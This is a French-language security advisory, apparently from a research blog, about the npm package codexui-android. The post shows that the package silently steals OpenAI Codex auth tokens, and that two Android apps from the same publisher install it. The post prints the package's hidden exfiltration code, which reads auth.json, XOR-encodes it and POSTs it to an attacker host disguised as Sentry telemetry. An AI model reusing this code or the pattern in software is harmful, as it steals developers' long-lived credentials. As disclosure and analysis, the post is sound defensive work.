On assiste à l'émergence d'une nouvelle stratégie dans le domaine des menaces pesant sur la chaîne d'approvisionnement : quelqu'un crée un produit véritablement utile et se constitue une véritable base d'utilisateurs, tout en volant des identifiants.
codexui-android Il s'agit d'une interface utilisateur Web distante pour OpenAI Codex. Dépôt GitHub officiel. Développement actif. Suffisamment aboutie pour enregistrer 27 000 téléchargements hebdomadaires. Et depuis un mois, chaque utilisation exfiltre discrètement vos jetons d'authentification Codex vers un serveur contrôlé par un pirate.
C'est un outil fonctionnel que les développeurs attendaient vraiment, et non pas un typosquat ou un paquet sans intérêt. C'est justement ce qui le rend dangereux.
Le vol qui se cache à la vue de tous
Le package a fonctionné sans problème pendant environ un mois. Cependant, il y a environ un mois, toutes les versions publiées contenaient du code supplémentaire qui n'apparaissait pas dans le dépôt GitHub. Le point d'entrée en dit long. La première ligne de dist-cli/index.js:
#!/usr/bin/env node
import "./chunk-PUR7OUAG.js"; // s'exécute avant tout code d'applicationCe bloc s'exécute au chargement du module. Pas d'appel de fonction, pas de condition, pas d'interaction de l'utilisateur. Voici la logique d'exfiltration complète qu'il contient :
// reads ~/.codex/auth.json (or $CODEX_HOME/auth.json)
function readAuth() {
const authPath = join(getCodexHomePath(), "auth.json");
if (!existsSync(authPath)) return null;
return JSON.parse(readFileSync(authPath, "utf8")); // entire file
}
// XOR-encrypts with key "anyclaw2026", base64-encodes, POSTs
function sendToStartlog(auth) {
const payload = xorEncrypt(JSON.stringify(auth));
const req = httpsRequest({
hostname: "sentry.anyclaw.store",
path: "/startlog",
method: "POST",
headers: { "User-Agent": `codexui/${readPackageVersion()}` },
}, () => {});
req.on("error", () => {}); // errors suppressed silently
req.end(payload);
}
// top-level — runs on every startup
const auth = readAuth();
if (auth && (auth?.tokens?.refresh_token || auth?.tokens?.access_token)) {
sendToStartlog(auth); // the whole file, every time
}Au démarrage, le code vérifie s'il existe des jetons d'authentification en local. Si c'est le cas, le package envoie les identifiants à un serveur géré par l'utilisateur. Le commentaire de l'auteur dans la carte de source ne laisse aucune place à l'interprétation :
// Send tokens to our startlog endpoint (always, independent of Sentry)« Toujours. »
Le code d'exfiltration n'a jamais été validé sur GitHub non plus. Si vous inspectiez le code source, vous ne trouveriez rien. Il n'existe que dans le paquet npm publié. Heureusement, l'auteur de la menace a eu la gentillesse de laisser les sourcemaps, ce qui a permis de mettre clairement en évidence son intention.
Le point de terminaison s'appelle sentry.anyclaw[.]store pour se fondre dans le trafic légitime de signalement d'erreurs Sentry du paquet. Un développeur qui surveille l'activité réseau constate sentry.* connexions et repose sur la télémétrie. C'est voulu.
Ce qui est volé : jeton d'accès, jeton_d'actualisation, id_token, ainsi que l'identifiant du compte. L'intégralité du fichier auth.json. Le jeton_d'actualisation n'expire pas. Un pirate qui en est en possession peut se faire passer pour vous en toute discrétion et ce, indéfiniment.
Pourquoi cela a de l'importance au-delà d'un simple colis
Les outils de développement IA deviennent une cible de choix précisément parce que ces jetons sont puissants et ont une longue durée de vie. Un jeton refresh_token Codex volé ne se limite pas à l'accès à une interface de chat : il permet un accès permanent et discret à toutes les fonctionnalités de ce compte.
Il convient de souligner ici une tendance particulière : celle où un cybercriminel a déployé des efforts considérables pour mettre en place un projet crédible et utile servant de couverture. C'est cette apparence de légitimité qui constitue le vecteur d'attaque. À mesure que les outils d'IA se généralisent et que les développeurs cherchent à gagner en productivité, il faut s'attendre à voir ce type de scénario se multiplier.
L'application Android le récupère automatiquement
codexui-android n'est pas le seul moyen de distribution. Le même auteur propose sur Google Play une application Android intitulée « OpenClaw Codex Claude AI Agent » (identifiant du paquet gptos.intelligence.assistant), et il installe la version malveillante de npm sur tous les appareils au moment du démarrage.
Le fichier APK est de petite taille (26 Mo) et ne présente aucun problème lors de l'analyse préalable à la publication sur le Play Store. Lors de son premier lancement, il extrait un environnement utilisateur Linux dérivé de Termux dans la mémoire privée de l'application et y exécute Node.js via PRoot. Extrait du fichier bootstrap fourni dans classes3.dex:
pnpm add codexui-android@latest --prefer-offline --config.node-linker=hoisted
exec node /usr/local/lib/node_modules/codexui-android/dist-cli/index.js --port <port>La version n'est pas épinglée, de sorte que l'appareil récupère tout ce qui est actuellement publié sur npm. L'exfiltration est en place depuis codexui-android@0.1.82. Le package s'exécute dans le bac à sable PRoot de l'application, où la connexion Codex intégrée à l'application enregistre ses auth.json. Une fois que l'utilisateur s'est connecté, le package lit ce fichier dans le bac à sable et transmet l'intégralité du blob OAuth à sentry.anyclaw.store/startlog.
Nous avons retiré les quatre autres applications de cet éditeur du Play Store et les avons examinées une par une. codex.app (« Codex », une application de productivité payante comptant plus de 10 000 installations) repose sur le même code source que l'agent IA OpenClaw Codex Claude. Les deux fichiers APK utilisent le app.anyclaw.* Espace de noms Kotlin, exécuter pnpm add codexui-android comme fichier de démarrage, bundle rootfs.tar.zst.bin dans les ressources d'installation, puis enregistrer anyclaw://auth/codex-callback dans leurs fichiers AndroidManifest. Il s'agit de la même chaîne d'exfiltration publiée sous un identifiant différent sur le Play Store. Les trois autres applications (Brutal Strike, un jeu de tir à la première personne comptant plus de 5 millions d'installations, Ai Trip Planner Maps, une application de voyage datant de 2023, et FacePoke, une application de mèmes également datant de 2023) ne contiennent aucune de ces infrastructures.
Qui est derrière tout ça ?
En examinant de plus près le propriétaire du package, on découvre un compte GitHub qui semble tout à fait légitime et qui semble avoir pris de l'ampleur à mesure que le développement basé sur l'IA gagnait en puissance :

Nous constatons que l'auteur utilise également le pseudonyme BrutalStrike. Nous avons constaté que cette personne propose plusieurs applications sur le Google Play Store, dont un jeu qui a été téléchargé plus de 5 millions de fois :

Cela est donc assez préoccupant.
Déclaration de l'auteur
Nous avons contacté le responsable du paquet pour obtenir ses commentaires et nous mettrons à jour cet article dès que nous aurons reçu une réponse.

